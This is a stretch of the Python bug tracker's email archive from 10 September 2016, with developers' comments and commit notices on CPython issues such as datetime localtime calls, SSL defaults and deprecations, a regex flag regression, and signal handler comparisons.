New changeset 94563ec74e1d by Steve Dower in branch '3.5':
Closes #28059: Fixes test_platform to set PYTHONPATH for .pyd files
https://hg.python.org/cpython/rev/94563ec74e1d

New changeset 3ec4feb52a5b by Steve Dower in branch 'default':
Closes #28059: Fixes test_platform to set PYTHONPATH for .pyd files
https://hg.python.org/cpython/rev/3ec4feb52a5b

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:39:45 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 19:39:45 +0000
Subject: [issue22627] Calling timestamp() on a datetime object modifies the
 timestamp of a different datetime object.
In-Reply-To: <1413250305.11.0.302636475589.issue22627@psf.upfronthosting.co.za>
Message-ID: <1473536385.69.0.0486783409164.issue22627@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Superseded by #28067.

----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> Do not call localtime in datetime module

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22627>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:43:19 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 19:43:19 +0000
Subject: [issue28067] Do not call localtime in datetime module
In-Reply-To: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>
Message-ID: <1473536599.3.0.885943694743.issue28067@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
keywords: +patch
stage:  -> commit review
Added file: http://bugs.python.org/file44537/issue28067.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:45:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 19:45:19 +0000
Subject: [issue27629] Cannot create ssl.SSLSocket without existing socket
In-Reply-To: <1469575305.76.0.392837082138.issue27629@psf.upfronthosting.co.za>
Message-ID: <1473536719.86.0.0311960391226.issue27629@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm considering to not fix this bug and rather remove the dead code. This feature was never documented and has been broken since 3.3, maybe earlier. It's also hard to use it correctly because you need to pass the correct socket family and type.

For 3.6 I'm planning to deprecate SSLSocket.__init__() in favor of SSLContext.wrap_socket() anyway. Please use https://docs.python.org/3/library/socket.html#socket.socket with fileno argument. It auto-detects the correct socket type and family.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27629>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:45:45 2016
From: report at bugs.python.org (Gevorg Voskanyan)
Date: Sat, 10 Sep 2016 19:45:45 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
Message-ID: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>


New submission from Gevorg Voskanyan:

Traceback (most recent call last):
  File ".../freeze.py", line 493, in <module>
    main()
  File ".../freeze.py", line 222, in main
    flagged_version = version + sys.abiflags
AttributeError: module 'sys' has no attribute 'abiflags'

----------
components: Demos and Tools
messages: 275686
nosy: gevorg
priority: normal
severity: normal
status: open
title: Error in freeze.py due to unguarded sys.abiflags usage under Windows
type: compile error
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:49:19 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 19:49:19 +0000
Subject: [issue28069] signalmodule.c does "is" comparisons for SIG_IGN and
 SIG_DFL
Message-ID: <1473536959.93.0.176407274769.issue28069@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

Modules/signalmodule.c contains this code:

    if (handler == IgnoreHandler)
        func = SIG_IGN;
    else if (handler == DefaultHandler)
        func = SIG_DFL;
    ...

Here IgnoreHandler and DefaultHandler are ints. The code above effectively does an "is" comparison with those ints, assuming that SIG_IGN and SIG_DFL are amongst the small interned ints.

----------
messages: 275687
nosy: mark.dickinson
priority: normal
severity: normal
status: open
title: signalmodule.c does "is" comparisons for SIG_IGN and SIG_DFL
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28069>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:52:20 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 19:52:20 +0000
Subject: [issue28069] signalmodule.c does "is" comparisons for SIG_IGN and
 SIG_DFL
In-Reply-To: <1473536959.93.0.176407274769.issue28069@psf.upfronthosting.co.za>
Message-ID: <1473537140.93.0.966753843733.issue28069@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Also applies to 2.7, 3.5.

----------
versions: +Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28069>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:57:24 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 19:57:24 +0000
Subject: [issue28067] Do not call localtime (gmtime) in datetime module
In-Reply-To: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>
Message-ID: <1473537444.95.0.179399933801.issue28067@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
title: Do not call localtime in datetime module -> Do not call localtime (gmtime) in datetime module

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:58:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 19:58:35 +0000
Subject: [issue28067] Do not call localtime (gmtime) in datetime module
In-Reply-To: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>
Message-ID: <20160910195832.2555.40385.6B41DB2C@psf.io>


Roundup Robot added the comment:

New changeset 8a504694d92f by Alexander Belopolsky in branch 'default':
Closes #28067: Do not call localtime (gmtime) in datetime module.
https://hg.python.org/cpython/rev/8a504694d92f

----------
nosy: +python-dev
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:02:55 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 20:02:55 +0000
Subject: [issue28067] Do not call localtime (gmtime) in datetime module
In-Reply-To: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>
Message-ID: <1473537775.51.0.254720670471.issue28067@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

What is gmime_s?

----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:06:15 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 20:06:15 +0000
Subject: [issue28067] Do not call localtime (gmtime) in datetime module
In-Reply-To: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>
Message-ID: <1473537975.03.0.498769025699.issue28067@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> What is gmime_s?

A typo.  Should be gmtime_s.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:08:30 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 20:08:30 +0000
Subject: [issue28067] Do not call localtime (gmtime) in datetime module
In-Reply-To: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>
Message-ID: <20160910200828.19406.30117.662A6032@psf.io>


Roundup Robot added the comment:

New changeset 5bdfe132e4ed by Alexander Belopolsky in branch 'default':
#28067: Fixed a typo.
https://hg.python.org/cpython/rev/5bdfe132e4ed

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:33:05 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 20:33:05 +0000
Subject: [issue28061] Python crashes on 'from test import support'
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473539585.8.0.507106778425.issue28061@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

I compiled, I got a "Python stopped working" during compiling (but it went on anyway), and then launched it from VS in Debugging mode. I did 'from test import support' and then it crashed. VS said this line was the faulty one, and didn't give me anything else useful (no call stack, no access to locals, etc.). I'm sadly not home until Monday, so I can't further investigate this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:43:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 20:43:56 +0000
Subject: [issue28043] Sane defaults for SSLContext options and ciphers
In-Reply-To: <1473419921.81.0.961538270346.issue28043@psf.upfronthosting.co.za>
Message-ID: <20160910204354.19406.83333.45C4495C@psf.io>


Roundup Robot added the comment:

New changeset 1b4c5d06c028 by Christian Heimes in branch 'default':
Issue 28043: SSLContext has improved default settings
https://hg.python.org/cpython/rev/1b4c5d06c028

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28043>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:44:30 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 20:44:30 +0000
Subject: [issue28043] Sane defaults for SSLContext options and ciphers
In-Reply-To: <1473419921.81.0.961538270346.issue28043@psf.upfronthosting.co.za>
Message-ID: <1473540270.47.0.976958231936.issue28043@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
stage: patch review -> commit review
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28043>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:51:22 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 20:51:22 +0000
Subject: [issue28067] Do not call localtime (gmtime) in datetime module
In-Reply-To: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>
Message-ID: <20160910205119.36243.25938.99A8F11E@psf.io>


Roundup Robot added the comment:

New changeset c7e477fa9e09 by Alexander Belopolsky in branch 'default':
#28067: Fixed another typo.
https://hg.python.org/cpython/rev/c7e477fa9e09

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:54:08 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 20:54:08 +0000
Subject: [issue28069] signalmodule.c does "is" comparisons for SIG_IGN and
 SIG_DFL
In-Reply-To: <1473536959.93.0.176407274769.issue28069@psf.upfronthosting.co.za>
Message-ID: <1473540848.58.0.668691678294.issue28069@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This was not a problem before 3.5 since IgnoreHandler and DefaultHandler were singletons exposed in the signal module as SIG_DFL and SIG_IGN. But in issue21076 they were converted to enums. This involves converting between enums and ints. All works only while SIG_DFL and SIG_IGN are small integers and there is small integer cache. I proposed either revert this change (signal_no_enum_handlers.patch in issue21076) or even make SIG_DFL and SIG_IGN non-integer singletons (issue23325).

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28069>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:54:31 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 20:54:31 +0000
Subject: [issue28061] Python crashes on 'from test import support'
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473540871.44.0.418798810254.issue28061@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 16:59:12 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sat, 10 Sep 2016 20:59:12 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1473531259.04.0.0279021810635.issue23722@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJL8Nu6wZ74fvNH26pjShAQj6kW9P0Q2_o4id39eq61MJQ@mail.gmail.com>


Guido van Rossum added the comment:

Nick, if you feel like doing this, go ahead, either before or after
beta1 (but if you want to do it before please do it quickly).

(Off-topic: boy do I miss CI that triggers when you send a patch for review...)

On Sat, Sep 10, 2016 at 11:14 AM, Martin Teichmann
<report at bugs.python.org> wrote:
>
> Martin Teichmann added the comment:
>
> This is the originial patch rebased such that it applies to the current master.
>
> As a detail in the discussion: "__classcell__" is not visible during the execution of the class body, as it is added at the end of the class body. In this regard, it is different from "__qualname__", which is set at the beginning of the class body such that it may be changed.
>
> The new __classcell__ does show up, however, in the namespace parameter to the __new__ method of the metaclass.
>
> ----------
> Added file: http://bugs.python.org/file44533/classcell.patch
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue23722>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:13:41 2016
From: report at bugs.python.org (SilentGhost)
Date: Sat, 10 Sep 2016 21:13:41 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
In-Reply-To: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>
Message-ID: <1473542021.15.0.220925241577.issue28068@psf.upfronthosting.co.za>


SilentGhost added the comment:

Here is the patch, I'm not sure if any more changes are needed there, so it would be good to test.

----------
components: +Windows
keywords: +patch
nosy: +SilentGhost, paul.moore, steve.dower, tim.golden, zach.ware
stage:  -> patch review
type: compile error -> behavior
versions: +Python 3.6
Added file: http://bugs.python.org/file44538/28068.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:19:26 2016
From: report at bugs.python.org (Joshua Bronson)
Date: Sat, 10 Sep 2016 21:19:26 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473542366.86.0.794745224616.issue27350@psf.upfronthosting.co.za>


Changes by Joshua Bronson <jabronson at gmail.com>:


----------
nosy: +jab

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:23:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 21:23:51 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <20160910212348.1680.46679.362E1D23@psf.io>


Roundup Robot added the comment:

New changeset aed3c541b2f1 by Christian Heimes in branch 'default':
Issue #28022: Deprecate ssl-related arguments in favor of SSLContext.
https://hg.python.org/cpython/rev/aed3c541b2f1

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:27:08 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 21:27:08 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473542828.58.0.886578362821.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I have pushed all deprecation except ssl.wrap_socket(). Nick raised some concerns. I like to discourage people to use it because it hurts performance and is no longer best practice. How about we mark the function as legacy function and move it to a less prominent place in the documentation?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:28:25 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 21:28:25 +0000
Subject: [issue4558] ./configure --with-stdc89 to test ANSI C conformity
In-Reply-To: <1228530326.9.0.419197104424.issue4558@psf.upfronthosting.co.za>
Message-ID: <1473542905.91.0.475070140629.issue4558@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4558>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:29:16 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 21:29:16 +0000
Subject: [issue19763] Make it easier to backport statistics to 2.7
In-Reply-To: <1385364696.32.0.708082450803.issue19763@psf.upfronthosting.co.za>
Message-ID: <1473542956.22.0.0067387502816.issue19763@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> wont fix
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19763>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:30:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 21:30:07 +0000
Subject: [issue15883] Add Py_errno to work around multiple CRT issue
In-Reply-To: <1347111302.92.0.306708953598.issue15883@psf.upfronthosting.co.za>
Message-ID: <1473543007.91.0.0410121922033.issue15883@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's no longer a problem with new VS.

----------
resolution:  -> wont fix
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15883>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:32:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 21:32:58 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <1473543178.86.0.629130730066.issue27744@psf.upfronthosting.co.za>


Christian Heimes added the comment:

x86-64 Ubuntu 15.10 Skylake CPU 3.x is still blocking. It looks like I have to add another workaround for a Ubuntu quirk.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:45:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 21:45:02 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <20160910214459.3168.24768.DF7F7EAD@psf.io>


Roundup Robot added the comment:

New changeset 6f2644738876 by Christian Heimes in branch 'default':
Issue #19500: Add client-side SSL session resumption to the ssl module.
https://hg.python.org/cpython/rev/6f2644738876

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Sat Sep 10 17:46:20 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 10 Sep 2016 21:46:20 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473543980.58.0.117423647928.issue19500@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I have committed the feature with rudimentary documentation. I will provide more documentation and an example before 3.6.0b2.

----------
assignee:  -> christian.heimes
components: +Documentation
priority: normal -> high

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:07:45 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 22:07:45 +0000
Subject: [issue28070] 3.6 regression: re.compile not handling flags with X
 correctly
Message-ID: <1473545265.89.0.511572120567.issue28070@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

This test script:


import re

print(re.compile(r'(?ix)A').flags == re.I | re.X | re.U)
print(re.compile(r'(?ix)A').flags == re.X | re.U)
print(re.compile(r'(?im)A').flags == re.I | re.M | re.U)


gives False, True, True on default:b28b37de9470+. Python 3.5.2 gives True, False, True.

Seems re.compile does not handle flags with X correctly?

----------
components: Regular Expressions
messages: 275705
nosy: Chi Hsuan Yen, ezio.melotti, mrabarnett, serhiy.storchaka
priority: normal
severity: normal
status: open
title: 3.6 regression: re.compile not handling flags with X correctly
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28070>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:17:05 2016
From: report at bugs.python.org (SilentGhost)
Date: Sat, 10 Sep 2016 22:17:05 +0000
Subject: [issue28070] 3.6 regression: re.compile not handling flags with X
 correctly
In-Reply-To: <1473545265.89.0.511572120567.issue28070@psf.upfronthosting.co.za>
Message-ID: <1473545825.25.0.379190208318.issue28070@psf.upfronthosting.co.za>


SilentGhost added the comment:

I get normal behaviour on e3dbe8b7279a

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28070>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:22:04 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 10 Sep 2016 22:22:04 +0000
Subject: [issue28071] Stop set.difference when set is empty
Message-ID: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Proposal from SO: in the iteration loop for 'myset.difference(iterable)', add equivalent of "if not myset: break'.
https://stackoverflow.com/questions/39378043/why-does-pythons-set-difference-method-take-time-with-an-empty-set

In the toy example for testing that this is currently not so, myset starts empty, but it was noted by the OP that a more realistic example would be that myset becomes empty after deletions.

Postulated reasons why not to do this (as opposed to why it has not been done yet ;-):

1) averaged over all uses, the time saved not iterating would be less than the time spent testing emptyness.

2) an implicit guarantee to complete the iteration for possible side-effects.

One answer notes that myset.difference(anotherset) is special-cased and faster than the equivalent non-set iterable.

I searched the tracker for 'empty set difference' and got no hits.  If I remember, I will post any disposition of this issue back to SO.

----------
messages: 275707
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Stop set.difference when set is empty
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:27:39 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 22:27:39 +0000
Subject: [issue25901] `make test` crashes in test_httpservers
In-Reply-To: <1450431596.39.0.127057535.issue25901@psf.upfronthosting.co.za>
Message-ID: <1473546459.14.0.285444843057.issue25901@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25901>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:42:11 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 22:42:11 +0000
Subject: [issue25283] Make tm_gmtoff and tm_zone available on all platforms
In-Reply-To: <1443632019.41.0.93426740001.issue25283@psf.upfronthosting.co.za>
Message-ID: <1473547331.18.0.0621527197587.issue25283@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
keywords: +patch
stage: needs patch -> commit review
Added file: http://bugs.python.org/file44539/issue25283.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25283>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:43:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 22:43:36 +0000
Subject: [issue28070] 3.6 regression: re.compile not handling flags with X
 correctly
In-Reply-To: <1473545265.89.0.511572120567.issue28070@psf.upfronthosting.co.za>
Message-ID: <20160910224333.3168.72018.7FDE0CB5@psf.io>


Roundup Robot added the comment:

New changeset bee52e5f8fb1 by Serhiy Storchaka in branch 'default':
Issue #28070: Fixed parsing inline verbose flag in regular expressions.
https://hg.python.org/cpython/rev/bee52e5f8fb1

New changeset 842e75f0e592 by Serhiy Storchaka in branch '3.5':
Backported tests for issue #28070.
https://hg.python.org/cpython/rev/842e75f0e592

New changeset afc0d4478083 by Serhiy Storchaka in branch '2.7':
Backported tests for issue #28070.
https://hg.python.org/cpython/rev/afc0d4478083

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28070>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:44:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 22:44:20 +0000
Subject: [issue28070] 3.6 regression: re.compile not handling flags with X
 correctly
In-Reply-To: <1473545265.89.0.511572120567.issue28070@psf.upfronthosting.co.za>
Message-ID: <1473547460.71.0.755241110299.issue28070@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for your report Chi Hsuan Yen!

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28070>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:56:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 22:56:44 +0000
Subject: [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow
In-Reply-To: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za>
Message-ID: <1473548204.09.0.197352632748.issue27358@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is a patch that gets rid of calculating intersections. I didn't make benchmarking still.

----------
Added file: http://bugs.python.org/file44540/faster_build_map_unpack_with_call.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27358>
_______________________________________

From report at bugs.python.org  Sat Sep 10 19:06:15 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 10 Sep 2016 23:06:15 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473548775.65.0.0843948926883.issue28046@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

One of the test_sysconfig failed test is caused by the changes made in issue 27917. I will fix it there. The other one is caused by a change in my android build setup that does not install anymore include/python3.6m/pyconfig.h, this is fixed now and the test does not fail anymore.

Pending code reviews, I will commit the patch after changing the env var name from _SYSCONFIGDATA_NAME to _PYTHON_SYSCONFIGDATA_NAME.

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 19:21:01 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 10 Sep 2016 23:21:01 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473549661.73.0.313124694885.issue28066@psf.upfronthosting.co.za>


Martin Panter added the comment:

Can you get your importlib changes so they are compatible with a native build? If so, maybe you can build the frozen module with a native build rather than a cross build.

?freeze_importlib is built using the compiler for the target?: I may be mistaken, but I thought we recently prevented this from being cross-compiled: Issue 27641, revision bc677cb34889, Jul 2016. Your patch seems to be based ontop of this change. Perhaps you have found some way to bypass that cross-compilation detection logic.

The addition of $(FREEZE_IMPORTLIB) is a bit like the outdated cross-override.patch I once proposed for Issue 22625.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sat Sep 10 19:27:30 2016
From: report at bugs.python.org (Decorater)
Date: Sat, 10 Sep 2016 23:27:30 +0000
Subject: [issue28072] Empty Strings are not parsed to None.
Message-ID: <1473550050.32.0.541493400978.issue28072@psf.upfronthosting.co.za>


New submission from Decorater:

I noticed that the Python interpreter does not interpret a empty string as None so I have to do this unclean workaround every time in functions that cannot have a empty string passed to them.

Here is some example Code I have to do to bypass this (the function itself):

def create_one(url):
    if url == '':
        url = None
    if url is not None:
        url_data = urllib.parse.urlencode(dict(url=url))
        byte_data = str.encode(url_data)
        ret = urllib.request.urlopen(API_CREATE, data=byte_data).read().strip()
        almost_result = str(ret)
        closer_result = almost_result.strip("b")
        result = closer_result.strip("'")
        return result
    else:
        URLError('The given URL Cannot be \'None\'.')

So yeah I suggest for the interpreter to interpret empty strings as None so that way it can cleanup some lines of trying to parse it to None which can be a lot of work. It also makes code simpler as well.

----------
messages: 275713
nosy: Decorater
priority: normal
severity: normal
status: open
title: Empty Strings are not parsed to None.

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28072>
_______________________________________

From report at bugs.python.org  Sat Sep 10 19:28:22 2016
From: report at bugs.python.org (Decorater)
Date: Sat, 10 Sep 2016 23:28:22 +0000
Subject: [issue28072] Empty Strings are not parsed to None.
In-Reply-To: <1473550050.32.0.541493400978.issue28072@psf.upfronthosting.co.za>
Message-ID: <1473550102.93.0.420609252038.issue28072@psf.upfronthosting.co.za>


Changes by Decorater <seandhunt_7 at yahoo.com>:


----------
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28072>
_______________________________________

From report at bugs.python.org  Sat Sep 10 19:32:37 2016
From: report at bugs.python.org (Ethan Furman)
